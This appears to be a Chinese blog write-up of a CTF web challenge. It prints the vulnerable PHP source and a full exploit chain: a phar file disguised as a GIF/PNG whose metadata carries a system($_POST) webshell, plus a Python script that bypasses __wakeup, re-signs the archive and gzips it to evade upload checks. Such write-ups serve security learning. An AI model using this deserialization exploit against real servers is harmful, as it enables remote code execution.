当前位置: 首页 > article >正文

[nssround#4 swpu]1zweb


能上传文件和查看文件

非预期:出题人没有对读取文件做限制,导致了目录穿越,可直接读取flag

预期解如下; 首先读取`index.php`与`upload.php`

```php
<?php   //index.php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}
```
很简单的反序列化,可以看到最后的文件操作函数是`file_get_content`,可以触发phar反序列化
```PHP
<?php   //upload.php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>
```
文件上传处不仅限制了后缀名,还判断了文件内容有没有`__HALT_COMPILER();`这个phar文件标记

本题绕过的点:

- 后缀检测:php识别phar文件是靠其文件头的stub,也就是`__HALT_COMPILER();`,与后缀无关
- `__wakeup`绕过:改变成员个数即可
- 内容检测绕过:将phar文件用gzip或其他压缩方式压缩即可绕过


php脚本
```php
<?php
ini_set('display_errors', 1);
ini_set("phar.readonly", "Off");
class LoveNss
{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct()
    {
        $this->ljt = "Misc";
        $this->dky = "Re";
        $this->cmd = 'system($_POST["s"]);';
    }
}
@unlink('test.phar');
$obj = new LoveNss();
$phar = new phar('test.phar'); //后缀名必须为phar 
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($obj); //自定义的meta-data存入manifest 
$phar->addFromString("flag.txt", "flag"); //添加要压缩的文件 
//签名自动计算 
$phar->stopBuffering();
rename("test.phar", "test.png");
```
修改成员个数后要重新签名:也是利用脚本
本人本地测试尝试手搓,但是都没有成功
后面看了其他师傅的文档发现:


搜索相关方面,听说要用gzip压缩(Kali自带)
在kali里gzip压缩后改名为.png后缀 上传 还是不行
需要用gzip进行压缩,且不能直接用记事本对phar文件修改数据,不然即使经过python脚本修复数字签名其修复后的文件后八位值会改变。

这个脚本既能绕过_wakeup魔术方法,也可以实现gzip压缩

python脚本
```python
import gzip
from hashlib import sha1

file = open(r"test.png", 'rb').read()
file = file.replace(b':3:{', b':4:{')  # 修改属性个数绕过__wakeup
s = file[:-28]  # 获取要签名的数据
h = file[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile(r"shell.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

这里直接上传shell.png,然后访问这个路径即可getshell


```


http://www.kler.cn/a/373873.html

相关文章:

  • 数组与指针的关系
  • 什么是x86架构,什么是arm架构
  • (C#面向初学者的 .NET 的生成 AI) 第 2 部分-什么是 AI 和 ML?
  • 医院信息化与智能化系统(14)
  • 【C++刷题】力扣-#575-分糖果
  • 【数据结构】-数组
  • 计算合约方法的签名
  • Terraform Provider 加速方案
  • Mybatis-17.动态SQL-foreach
  • 【Unity】游戏UI中添加粒子特效导致穿层问题的解决
  • Android:ViewPaper动态添加移除第一页
  • ssm017网上花店设计+vue(论文+源码)_kaic
  • Django - 验证码使用
  • Python基础学习(八)断点调试
  • HTML入门教程19:HTML ID
  • 软件项目管理要点
  • 深度学习:yolo的使用--图像处理
  • 任意文件下载
  • 后端Java学习:springboot之文件上传(阿里云OSS存储)
  • object_model_3d_to_xyz 自理解及操作
  • Java设计模式之代理模式(三)
  • nmcli命令网络配置详解
  • 手动写一个new
  • 华为防火墙配置-基于IP地址和端口的安全策略
  • Docker快速安装Loki
  • JavaScript Prototype